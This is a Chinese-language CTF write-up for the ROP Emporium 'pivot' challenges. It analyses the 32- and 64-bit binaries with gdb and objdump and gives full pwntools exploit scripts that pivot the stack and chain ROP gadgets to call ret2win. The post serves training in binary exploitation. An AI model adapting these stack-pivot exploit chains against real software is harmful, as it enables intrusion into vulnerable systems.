ROP_Emporium_pivot

12 篇文章 0 订阅


如果esp和ebp能够被控制,那么整个堆栈就可以被控制,甚至被转移。Stack pivoting就是一种栈迁移技术,可以用来绕过NX,或者溢出空间太小的情况。

1. pivot32

信息收集

$ file pivot32
pivot32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=0c3486910b643fccda05edba0fd6529cfef16803, not stripped
$ checksec libpivot32.so
[*] '/home/starr/Documents/CProject/pwn/libpivot32.so'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
$ ldd pivot32
        linux-gate.so.1 (0xf7f40000)
        libpivot32.so => ./libpivot32.so (0xf7f38000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d45000)
        /lib/ld-linux.so.2 (0xf7f41000)

需要注意so启用了PIE,地址是随机的,但记住函数的相对位置不变,需要泄露某个函数的地址,进而得到目标函数(本题中就是ret2win)地址。

黑盒测试

这个程序有两次输入,第一次输入没有崩溃,第二次输入则是在44字节处覆盖了返回地址。

$ gdb ./pivot32
pwndbg> run
Starting program: /home/starr/Documents/CProject/pwn/pivot32
pivot by ROP Emporium
x86

Call ret2win() from libpivot
The Old Gods kindly bestow upon you a place to pivot: 0xf7dd8f10
Send a ROP chain now and it will land there
> aaaa
Thank you!

Now please send your stack smash
> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabstarr
Thank you!

Program received signal SIGSEGV, Segmentation fault.
0x6161616c in ?? ()
pwndbg> cyclic -l 0x6161616c
44

反汇编

$ objdump -d -M intel pivot32
 08048520 <foothold_function@plt>:
 08048686 <main>:
 8048686:       8d 4c 24 04             lea    ecx,[esp+0x4]
 ...
 80486c8:       83 c4 10                add    esp,0x10
 80486cb:       c7 45 f4 00 00 00 00    mov    DWORD PTR [ebp-0xc],0x0
 80486d2:       83 ec 0c                sub    esp,0xc
 80486d5:       68 00 00 00 01          push   0x1000000
 80486da:       e8 11 fe ff ff          call   80484f0 <malloc@plt>			p = malloc(0x1000000)
 80486df:       83 c4 10                add    esp,0x10
 80486e2:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax
 80486e5:       83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0
 80486e9:       75 1a                   jne    8048705 <main+0x7f>
 ...
 8048705:       8b 45 f4                mov    eax,DWORD PTR [ebp-0xc]
 8048708:       05 00 ff ff 00          add    eax,0xffff00
 804870d:       89 45 f0                mov    DWORD PTR [ebp-0x10],eax
 8048710:       83 ec 0c                sub    esp,0xc
 8048713:       ff 75 f0                push   DWORD PTR [ebp-0x10]
 8048716:       e8 35 00 00 00          call   8048750 <pwnme>		pwnme(p + 0xffff00)
 804871b:       83 c4 10                add    esp,0x10
 804871e:       c7 45 f0 00 00 00 00    mov    DWORD PTR [ebp-0x10],0x0
 8048725:       83 ec 0c                sub    esp,0xc
 8048728:       ff 75 f4                push   DWORD PTR [ebp-0xc]
 804872b:       e8 b0 fd ff ff          call   80484e0 <free@plt>		free(p)
 8048730:       83 c4 10                add    esp,0x10
 8048733:       83 ec 0c                sub    esp,0xc
 8048736:       68 04 89 04 08          push   0x8048904		"\nExiting"
 804873b:       e8 c0 fd ff ff          call   8048500 <puts@plt>
 8048740:       83 c4 10                add    esp,0x10
 8048743:       b8 00 00 00 00          mov    eax,0x0
 8048748:       8b 4d fc                mov    ecx,DWORD PTR [ebp-0x4]
 804874b:       c9                      leave
 804874c:       8d 61 fc                lea    esp,[ecx-0x4]
 804874f:       c3                      ret
 
 08048750 <pwnme>:
 8048750:       55                      push   ebp
 8048750:       55                      push   ebp
 8048751:       89 e5                   mov    ebp,esp
 8048753:       83 ec 28                sub    esp,0x28
 8048756:       83 ec 04                sub    esp,0x4
 8048759:       6a 20                   push   0x20
 804875b:       6a 00                   push   0x0
 804875d:       8d 45 d8                lea    eax,[ebp-0x28]
 8048760:       50                      push   eax
 8048761:       e8 ea fd ff ff          call   8048550 <memset@plt>			memset(buf, 0, 0x20)
 8048766:       83 c4 10                add    esp,0x10
 8048769:       83 ec 0c                sub    esp,0xc
 804876c:       68 0d 89 04 08          push   0x804890d	"Call ret2win() from libpivot"
 8048771:       e8 8a fd ff ff          call   8048500 <puts@plt>
 8048776:       83 c4 10                add    esp,0x10
 8048779:       83 ec 08                sub    esp,0x8
 804877c:       ff 75 08                push   DWORD PTR [ebp+0x8]	arg0_buf
 804877f:       68 2c 89 04 08          push   0x804892c	'The Old Gods kindly bestow upon you a place to pivot: %p'
 8048784:       e8 47 fd ff ff          call   80484d0 <printf@plt>	
 8048789:       83 c4 10                add    esp,0x10
 804878c:       83 ec 0c                sub    esp,0xc
 804878f:       68 68 89 04 08          push   0x8048968	'Send a ROP chain now and it will land there'
 8048794:       e8 67 fd ff ff          call   8048500 <puts@plt>
 ...
 80487a9:       83 c4 10                add    esp,0x10
 80487ac:       83 ec 04                sub    esp,0x4
 80487af:       68 00 01 00 00          push   0x100
 80487b4:       ff 75 08                push   DWORD PTR [ebp+0x8]
 80487b7:       6a 00                   push   0x0
 80487b9:       e8 02 fd ff ff          call   80484c0 <read@plt> 	read(stdin, arg0_buf, 0x100)
 80487be:       83 c4 10                add    esp,0x10
 80487c1:       83 ec 0c                sub    esp,0xc
 ...
 80487ee:       83 c4 10                add    esp,0x10
 80487f1:       83 ec 04                sub    esp,0x4
 80487f4:       6a 38                   push   0x38
 80487f6:       8d 45 d8                lea    eax,[ebp-0x28]
 80487f9:       50                      push   eax
 80487fa:       6a 00                   push   0x0
 80487fc:       e8 bf fc ff ff          call   80484c0 <read@plt>	read(stdin, buf, 0x38)
 ...
 8048815:       c9                      leave
 8048816:       c3                      ret
 
 08048817 <uselessFunction>:
 8048817:       55                      push   ebp
 8048818:       89 e5                   mov    ebp,esp
 804881a:       83 ec 08                sub    esp,0x8
 804881d:       e8 fe fc ff ff          call   8048520 <foothold_function@plt>
 8048822:       83 ec 0c                sub    esp,0xc
 8048825:       6a 01                   push   0x1
 8048827:       e8 e4 fc ff ff          call   8048510 <exit@plt>

 0804882c <usefulGadgets>:
 804882c:       58                      pop    eax
 804882d:       c3                      ret
 804882e:       94                      xchg   esp,eax
 804882f:       c3                      ret
 8048830:       8b 00                   mov    eax,DWORD PTR [eax]
 8048832:       c3                      ret
 8048833:       01 d8                   add    eax,ebx
 8048835:       c3                      ret

程序流程:

int main()
{
    void * p = malloc(0x1000000);
	pwnme(p + 0xffff00);
}
void pwnme(void *p)
{
    char buf[0x20] = {};
    read(stdin, p, 0x100);		// 下溢出
    read(stdin, buf, 0x38);		// 这里可以溢出0x18个字节,足够覆盖返回地址。 
}

再看一下so:

$ objdump -d -M intel libpivot32.so
0000077d <foothold_function>:
 77d:   55                      push   ebp
 77e:   89 e5                   mov    ebp,esp
 780:   53                      push   ebx
 781:   83 ec 04                sub    esp,0x4
 784:   e8 8f 02 00 00          call   a18 <__x86.get_pc_thunk.ax>
 789:   05 77 18 00 00          add    eax,0x1877
 78e:   83 ec 0c                sub    esp,0xc
 791:   8d 90 30 ea ff ff       lea    edx,[eax-0x15d0]
 797:   52                      push   edx
 798:   89 c3                   mov    ebx,eax
 79a:   e8 a1 fe ff ff          call   640 <puts@plt>	
 		'foothold_function(): Check out my .got.plt entry to gain a foothold into libpivot'
 79f:   83 c4 10                add    esp,0x10
 7a2:   90                      nop
 7a3:   8b 5d fc                mov    ebx,DWORD PTR [ebp-0x4]
 7a6:   c9                      leave
 7a7:   c3                      ret
 
000007a8 <void_function_01>:
...
 7bd:   8d 83 82 ea ff ff       lea    eax,[ebx-0x157e]
 7c3:   50                      push   eax		"Nothing to see here"
 7c4:   e8 77 fe ff ff          call   640 <puts@plt>
 ...
00000946 <void_function_10>:

00000974 <ret2win>:
 974:   55                      push   ebp
 975:   89 e5                   mov    ebp,esp
 977:   53                      push   ebx
 978:   83 ec 34                sub    esp,0x34
 97b:   e8 00 fd ff ff          call   680 <__x86.get_pc_thunk.bx>
 ...
 99b:   8d 83 96 ea ff ff       lea    eax,[ebx-0x156a]
 9a1:   50                      push   eax
 9a2:   8d 83 98 ea ff ff       lea    eax,[ebx-0x1568]
 9a8:   50                      push   eax
 9a9:   e8 b2 fc ff ff          call   660 <fopen@plt>		fopen("flag.txt", "r")
 ...
 9e2:   e8 39 fc ff ff          call   620 <fgets@plt>
 ...
 9f1:   e8 4a fc ff ff          call   640 <puts@plt>
 ...
 9ff:   e8 2c fc ff ff          call   630 <fclose@plt>
 ...
 a13:   e8 38 fc ff ff          call   650 <exit@plt>

foothold_function函数提示在.got.plt里找一个落脚点;

void_function_01-void_function_10,这10个函数只是输出了同一段字符串;

ret2win,输出flag,这也是最终要想办法执行的目标函数。

思路

Pwnme函数只溢出了0x18个字节,虽然可以覆盖返回地址,但不足以构造rop链,这种情况就可以考虑stack pivoting(栈转移),payload通常这样构造:

正常的栈: buffer + ebp + ret addr
payload: padding + fake ebp + leave;retn

复习一下leave、entry、还有retn指令:

entry:
	push ebp
	mov ebp, esp
leave:
	mov esp, ebp
	pop ebp
retn:
	pop eip

fake ebp要指向另一端我们伪造的栈顶,布局如下:

fake ebp
payload

也就是说,第二次输入的payload布局如下:

padding  len 44 - 4
程序输出的堆空间地址	  有溢出漏洞的函数(leave)执行leave时,pop ebp
pGadgetLeave		0x080485f5 : leave ; ret	第二次执行leave,实现栈转移

存储第一次输入的堆空间就可以作为我们伪造的栈,下面开始构造payload。

最终的目的是执行ret2win,计算ret2win@got地址的公式如下:

io = ELF("./pivot32")
lib = ELF("./libpivot32.so")
lib.sym["ret2win"] - lib.sym["foothold_function"] == io.got["ret2win"] - io.got["foothold_function"] == nOffset
io.got["ret2win"] == nOffset + io.got["foothold_function"]

nOffset可以算好后直接硬编码到payload中。

因为用到加法,所以搜一下add:

pwndbg> rop --grep "add"
...
0x08048668 : add al, 8 ; add ecx, ecx ; ret
0x080485ee : add al, 8 ; call eax
0x0804863b : add al, 8 ; call edx
0x08048831 : add bl, al ; add eax, ebx ; ret
0x080485ff : add bl, dh ; ret
0x080485fd : add byte ptr [eax], al ; add bl, dh ; ret
0x080485fc : add byte ptr [eax], al ; add byte ptr [eax], al ; ret
0x080484a4 : add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0x08048746 : add byte ptr [eax], al ; mov ecx, dword ptr [ebp - 4] ; leave ; lea esp, [ecx - 4] ; ret
0x080485fe : add byte ptr [eax], al ; ret
0x08048747 : add byte ptr [ebx - 0x723603b3], cl ; popal ; cld ; ret
0x08048665 : add eax, 0x804a040 ; add ecx, ecx ; ret
0x08048833 : add eax, ebx ; ret
0x0804866a : add ecx, ecx ; ret
0x080485f2 : add esp, 0x10 ; leave ; ret
0x08048811 : add esp, 0x10 ; nop ; leave ; ret
0x08048895 : add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080484a6 : add esp, 8 ; pop ebx ; ret

排除esp,排除立即数,0x08048833处操作两个寄存器的add eax, ebx可以拿来用。eax用来存储nOffset,ebx用来存储io.got[“foothold_function”]。

pop eax; pop ebx等指令都可以搜到:

pwndbg> rop --grep "pop"
...
0x0804882c : pop eax ; ret
0x0804889b : pop ebp ; ret
0x08048898 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080484a9 : pop ebx ; ret
0x0804889a : pop edi ; pop ebp ; ret
0x08048899 : pop esi ; pop edi ; pop ebp ; ret
...

为了调用eax,则需要call指令:

pwndbg> rop --grep "call"
0x0804857b : call 0x80485a9
0x0804848c : call 0x80485c6
0x080485f0 : call eax	!!!!!!!!!
0x0804863d : call edx

另外复习一下延迟加载的知识。要想获取foothold_function的真实地址(存在got表里),必须先执行foothold_function@plt。之后,需要用类似mov的指令从got表取出foothold_function的真实地址,:

pwndbg> rop --grep "mov"
...
0x08048667 : mov al, byte ptr [0xc9010804] ; ret
0x080485ed : mov al, byte ptr [0xd0ff0804] ; add esp, 0x10 ; leave ; ret
0x0804863a : mov al, byte ptr [0xd2ff0804] ; add esp, 0x10 ; leave ; ret
0x08048664 : mov byte ptr [0x804a040], 1 ; leave ; ret
0x08048830 : mov eax, dword ptr [eax] ; ret		!!!!!!!!!!!
0x080485a3 : mov ebx, dword ptr [esp] ; ret
0x08048748 : mov ecx, dword ptr [ebp - 4] ; leave ; lea esp, [ecx - 4] ; ret
0x080484a2 : mov edx, 0x83000000 ; les ecx, ptr [eax] ; pop ebx ; ret
0x080485fa : mov esp, 0x27 ; add bl, dh ; ret

0x08048830处的mov可以使用,只不过不能用eax来存储nOffset了。

梳理一下伪造的栈的构造:

padding		len 4 上次执行leave时用来pop ebp,可以省略,move esp, ebp对应的地址要减4
foothold_function@plt	retn
pGadgetPopEax		0x0804882c : pop eax ; ret
foothold_function@got
pGadgetMovEaxEax	0x08048830 : mov eax, dword ptr [eax] ; ret
pGadgetPopEbx		0x080484a9 : pop ebx ; ret
nOffset				foothold_function与ret2win的距离
pGadgetAddEaxEbx	0x08048833 : add eax, ebx ; ret
pGadgetCallEax		0x080485f0 : call eax

Exp

python3执行ELF会报错,需要用python2。

# coding: utf-8
from pwn import *

context.arch = "i386"
context.bits = 32
context.os = "linux"
context.log_level = 'debug'

def getio(program):
    io = process(program)
    # io = gdb.debug([program], "b main")
    return io;



g_nBufOverflowIndex = 40
g_pGadgetLeave = 0x080485f5  # leave ; ret
g_pGadgetPopEax = 0x0804882c # pop eax ; ret
g_pGadgetMovEaxEax = 0x08048830 # mov eax, dword ptr [eax] ; ret
g_pGadgetPopEbx = 0x080484a9 # pop ebx ; ret
g_pGadgetAddEaxEbx = 0x08048833 # add eax, ebx ; ret
g_pGadgetCallEax = 0x080485f0 # call eax

strProgram = "./pivot32"
strSo = "./libpivot32.so"
io = getio(strProgram)
io.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")
pFakeStackEbp = int(io.recv(10), 16)

elfExec = ELF(strProgram)
pPltFoothold = elfExec.plt["foothold_function"]
pGotFoothold = elfExec.got["foothold_function"]

# 获取foothold_function与ret2win的距离
elfSo = ELF(strSo)
nOffset = int(elfSo.symbols["ret2win"] - elfSo.symbols["foothold_function"])

def FakeStack():
    payloadStack = b"A" * int(context.bits/8)		# 上次执行leave时用来pop ebp,可以省略,move esp, ebp对应的地址要减4
    payloadStack += p32(pPltFoothold)	# retn
    payloadStack += p32(g_pGadgetPopEax)		# pop eax ; ret
    payloadStack += p32(pGotFoothold)
    payloadStack += p32(g_pGadgetMovEaxEax)	 # mov eax, dword ptr [eax] ; ret
    payloadStack += p32(g_pGadgetPopEbx)		 # pop ebx ; ret
    payloadStack += p32(nOffset)				# foothold_function与ret2win的距离
    payloadStack += p32(g_pGadgetAddEaxEbx)	# 0x08048833 # add eax, ebx ; ret
    payloadStack += p32(g_pGadgetCallEax)	# call eax
    io.sendline(payloadStack)

def Pivot(pFakeEbp):
    payloadPivot = b"A" * g_nBufOverflowIndex;
    payloadPivot += p32(pFakeEbp)
    payloadPivot += p32(g_pGadgetLeave)
    io.sendline(payloadPivot)



io.clean()
# 1. Fake stack for input 1
FakeStack()

# 2. Stack pivot for input 2
io.clean()
Pivot(pFakeStackEbp)



# # gdb.attach(io)
# # pause()

print(io.recv(timeout=10))
io.interactive()

# Thank you!
# foothold_function(): Check out my .got.plt entry to gain a foothold into libpivot
# ROPE{a_placeholder_32byte_flag!}


2. pivot

64位版本。同样也是开启了pie。

反汇编

$ objdump -d -M intel pivot
0000000000400720 <foothold_function@plt>:
0000000000400847 <main>:
  400847:       55                      push   rbp
  400848:       48 89 e5                mov    rbp,rsp
  40084b:       48 83 ec 10             sub    rsp,0x10
  40084f:       48 8b 05 1a 08 20 00    mov    rax,QWORD PTR [rip+0x20081a]        # 601070 <stdout@@GLIBC_2.2.5>
  ...
  400881:       48 c7 45 f8 00 00 00    mov    QWORD PTR [rbp-0x8],0x0
  400888:       00
  400889:       bf 00 00 00 01          mov    edi,0x1000000
  40088e:       e8 9d fe ff ff          call   400730 <malloc@plt>
  400893:       48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax		p = malloc(0x1000000)
  400897:       48 83 7d f8 00          cmp    QWORD PTR [rbp-0x8],0x0
  40089c:       75 14                   jne    4008b2 <main+0x6b>
  40089e:       bf 78 0a 40 00          mov    edi,0x400a78
  4008a3:       e8 38 fe ff ff          call   4006e0 <puts@plt>
  4008a8:       bf 01 00 00 00          mov    edi,0x1
  4008ad:       e8 9e fe ff ff          call   400750 <exit@plt>
  4008b2:       48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]
  4008b6:       48 05 00 ff ff 00       add    rax,0xffff00
  4008bc:       48 89 45 f0             mov    QWORD PTR [rbp-0x10],rax
  4008c0:       48 8b 45 f0             mov    rax,QWORD PTR [rbp-0x10]
  4008c4:       48 89 c7                mov    rdi,rax
  4008c7:       e8 25 00 00 00          call   4008f1 <pwnme>				pwnme(p + 0xffff00)
  4008cc:       48 c7 45 f0 00 00 00    mov    QWORD PTR [rbp-0x10],0x0
  4008d3:       00
  4008d4:       48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]
  4008d8:       48 89 c7                mov    rdi,rax
  4008db:       e8 f0 fd ff ff          call   4006d0 <free@plt>			free(p)
  4008e0:       bf a0 0a 40 00          mov    edi,0x400aa0
  4008e5:       e8 f6 fd ff ff          call   4006e0 <puts@plt>
  4008ea:       b8 00 00 00 00          mov    eax,0x0
  4008ef:       c9                      leave
  4008f0:       c3                      ret
00000000004008f1 <pwnme>:
  4008f1:       55                      push   rbp
  4008f2:       48 89 e5                mov    rbp,rsp
  4008f5:       48 83 ec 30             sub    rsp,0x30
  4008f9:       48 89 7d d8             mov    QWORD PTR [rbp-0x28],rdi
  4008fd:       48 8d 45 e0             lea    rax,[rbp-0x20]
  400901:       ba 20 00 00 00          mov    edx,0x20
  400906:       be 00 00 00 00          mov    esi,0x0
  40090b:       48 89 c7                mov    rdi,rax
  40090e:       e8 ed fd ff ff          call   400700 <memset@plt>			memset(buf, 0, 0x20)
  ...
  40094c:       48 8b 45 d8             mov    rax,QWORD PTR [rbp-0x28]
  400950:       ba 00 01 00 00          mov    edx,0x100
  400955:       48 89 c6                mov    rsi,rax
  400958:       bf 00 00 00 00          mov    edi,0x0
  40095d:       e8 ae fd ff ff          call   400710 <read@plt>			read(stdin, arg0_buf, 0x100)
  400962:       bf 37 0b 40 00          mov    edi,0x400b37
  400967:       e8 74 fd ff ff          call   4006e0 <puts@plt>
  40096c:       bf 48 0b 40 00          mov    edi,0x400b48
  400971:       e8 6a fd ff ff          call   4006e0 <puts@plt>
  400976:       bf 34 0b 40 00          mov    edi,0x400b34
  40097b:       b8 00 00 00 00          mov    eax,0x0
  400980:       e8 6b fd ff ff          call   4006f0 <printf@plt>
  400985:       48 8d 45 e0             lea    rax,[rbp-0x20]
  400989:       ba 40 00 00 00          mov    edx,0x40
  40098e:       48 89 c6                mov    rsi,rax
  400991:       bf 00 00 00 00          mov    edi,0x0
  400996:       e8 75 fd ff ff          call   400710 <read@plt>			read(stdin, buf, 0x40)
  40099b:       bf 69 0b 40 00          mov    edi,0x400b69
  4009a0:       e8 3b fd ff ff          call   4006e0 <puts@plt>
  4009a5:       90                      nop
  4009a6:       c9                      leave
  4009a7:       c3                      ret
$ objdump -d -M intel libpivot.so

第二次输入的ebp距离缓冲区0x20字节。

搜索gadget,add eax, ebx换成了add rax, rbp,其余gadget参考32位版本搜索并修改即可。

调试分析

两次输入都没有问题,但在执行leave gadget时发生了崩溃:

Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x00000000004008ef in main ()
 ► 0x4008ef <main+168>    leave  
   0x4008f0 <main+169>    ret 

第二次输入的payload:

payloadPivot = b"A" * g_nBufOverflowIndex;
payloadPivot += p64(pFakeRbp)
payloadPivot += p64(g_pGadgetLeave)

最后发现是获取64位地址的时候出问题了:

# pivot by ROP Emporium
# x86_64

# Call ret2win() from libpivot
# The Old Gods kindly bestow upon you a place to pivot: 0x7fcf3a88cf10
io.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")
pFakeStackRbp = int(io.recv(10), 16)

直接拷贝了32位的脚本,只接受了10个字节:0x7fcf3a88cf10 —_—
修改后:

pFakeStackRbp = int(io.recv().split()[20],16)

Exp

# coding:utf-8
from pwn import *

context.arch = "amd64"
context.bits = 64
context.os = "linux"

def getio(program):
    io = process(program)
    # io = gdb.debug([program], "b main")
    return io;


g_nBufOverflowIndex = 0x28
g_pGadgetLeave = 0x00000000004008ef # leave ; ret
g_pGadgetPopRax = 0x00000000004009bb # pop rax ; ret
g_pGadgetMovRaxRax = 0x00000000004009c0 # mov rax, qword ptr [rax] ; ret
g_pGadgetPopRbp =  0x00000000004007c8 # pop rbp ; ret
g_pGadgetAddRaxRbp =  0x00000000004009c4 # add rax, rbp ; ret
g_pGadgetCallRax =  0x00000000004006b0 # call rax

strProgram = "./pivot"
strSo = "./libpivot.so"
io = getio(strProgram)
# io.recvuntil("The Old Gods kindly bestow upo you a place to pivot: ")
# pFakeStacknRbp = int(io.recv(10), 16)
pFakeStackRbp = int(io.recv().split()[20],16)
print("!!!!!!!!!!!!!!!!")
print("fake rbp:0x%x" % pFakeStackRbp)
print("!!!!!!!!!!!!!!!!")

elfExec = ELF(strProgram)
pPltFoothold = elfExec.plt["foothold_function"]
pGotFoothold = elfExec.got["foothold_function"]

# 获取foothold_function与ret2win的距离
elfSo = ELF(strSo)
nOffset = int(elfSo.symbols["ret2win"] - elfSo.symbols["foothold_function"])

def FakeStack():
    payloadStack = b"A" * int(context.bits/8)
    payloadStack += p64(pPltFoothold)	# retn
    payloadStack += p64(g_pGadgetPopRax)		# pop eax ; ret
    payloadStack += p64(pGotFoothold)
    payloadStack += p64(g_pGadgetMovRaxRax)	 # mov eax, dword ptr [eax] ; ret
    payloadStack += p64(g_pGadgetPopRbp)		 # pop ebx ; ret
    payloadStack += p64(nOffset)				# foothold_function与ret2win的距离
    payloadStack += p64(g_pGadgetAddRaxRbp)	# 0x08048833 # add eax, ebx ; ret
    payloadStack += p64(g_pGadgetCallRax)	# call eax
    io.sendline(payloadStack)

def Pivot(pFakeRbp):
    payloadPivot = b"A" * (g_nBufOverflowIndex - int(context.bits/8));
    payloadPivot += p64(pFakeRbp)
    payloadPivot += p64(g_pGadgetLeave)
   
    io.recvuntil(">")
    io.sendline(payloadPivot)


# gdb.attach(io)
# pause()

# 1. Fake stack for input 1
FakeStack()

# 2. Stack pivot for input 2
# pause()
Pivot(pFakeStackRbp)


print(io.recv(timeout=10))
io.interactive()


# Thank you!
# foothold_function(): Check out my .got.plt entry to gain a foothold into libpivot
# ROPE{a_placeholder_32byte_flag!}

还有另一种构造方法。栈转移要使用leave gadget的目的其实是修改rsp,所以可以使用其它修改rsp的gadget:

pwndbg> rop --grep "rsp"
0x00000000004006b2 : add rsp, 8 ; ret
0x0000000000400a1a : call qword ptr [rsp + rbx*8]
0x00000000004009ba : lcall [rax - 0x3d] ; xchg rax, rsp ; ret
0x0000000000400a2d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ad : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x0000000000400a45 : sub esp, 8 ; add rsp, 8 ; ret
0x0000000000400a44 : sub rsp, 8 ; add rsp, 8 ; ret
0x00000000004009bd : xchg rax, rsp ; ret

可以利用0x00000000004009bd处的xchg指令。

于是第二次的输入构造如下:

padding  			0x28	不用伪造ebp了
pGadgetPopRax		0x00000000004009bb : pop rax ; ret
程序输出的堆空间地址	  有溢出漏洞的函数(leave)执行leave时,pop ebp
pGadgetXchg			0x00000000004009bd : xchg rax, rsp ; ret  修改rsp实现栈转移

而我们伪造的栈的头8个字节,也不需要填充ebp来给leave指令使用了,溢出偏移为0x20+8==0x28。

Exp:

# coding:utf-8
from pwn import *

context.arch = "amd64"
context.bits = 64
context.os = "linux"

def getio(program):
    io = process(program)
    # io = gdb.debug([program], "b main")
    return io;


g_nBufOverflowIndex = 0x28
g_pGadgetLeave = 0x00000000004008ef # leave ; ret
g_pGadgetPopRax = 0x00000000004009bb # pop rax ; ret
g_pGadgetMovRaxRax = 0x00000000004009c0 # mov rax, qword ptr [rax] ; ret
g_pGadgetPopRbp =  0x00000000004007c8 # pop rbp ; ret
g_pGadgetAddRaxRbp =  0x00000000004009c4 # add rax, rbp ; ret
g_pGadgetCallRax =  0x00000000004006b0 # call rax
g_pGadgetXchg = 0x00000000004009bd # xchg rax, rsp ; ret  修改rsp实现栈转移

strProgram = "./pivot"
strSo = "./libpivot.so"
io = getio(strProgram)
# io.recvuntil("The Old Gods kindly bestow upo you a place to pivot: ")
# pFakeStacknRbp = int(io.recv(10), 16)
pFakeStackRbp = int(io.recv().split()[20],16)
print("!!!!!!!!!!!!!!!!")
print("fake rbp:0x%x" % pFakeStackRbp)
print("!!!!!!!!!!!!!!!!")

elfExec = ELF(strProgram)
pPltFoothold = elfExec.plt["foothold_function"]
pGotFoothold = elfExec.got["foothold_function"]

# 获取foothold_function与ret2win的距离
elfSo = ELF(strSo)
nOffset = int(elfSo.symbols["ret2win"] - elfSo.symbols["foothold_function"])

def FakeStack():
    payloadStack = p64(pPltFoothold)	# retn
    payloadStack += p64(g_pGadgetPopRax)		# pop eax ; ret
    payloadStack += p64(pGotFoothold)
    payloadStack += p64(g_pGadgetMovRaxRax)	 # mov eax, dword ptr [eax] ; ret
    payloadStack += p64(g_pGadgetPopRbp)		 # pop ebx ; ret
    payloadStack += p64(nOffset)				# foothold_function与ret2win的距离
    payloadStack += p64(g_pGadgetAddRaxRbp)	# 0x08048833 # add eax, ebx ; ret
    payloadStack += p64(g_pGadgetCallRax)	# call eax
    io.sendline(payloadStack)

def Pivot(pFakeRbp):
    payloadPivot = b"A" * g_nBufOverflowIndex;
    payloadPivot += p64(g_pGadgetPopRax)
    payloadPivot += p64(pFakeRbp)
    payloadPivot += p64(g_pGadgetXchg)
    
    io.recvuntil(">")
    io.sendline(payloadPivot)


# gdb.attach(io)
# pause()

# 1. Fake stack for input 1
FakeStack()

# 2. Stack pivot for input 2
# pause()
Pivot(pFakeStackRbp)


print(io.recv(timeout=10))
io.interactive()

3. 参考文章

3.1.4 返回导向编程(ROP)(x86) - CTF-All-In-One (gitbook.io)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值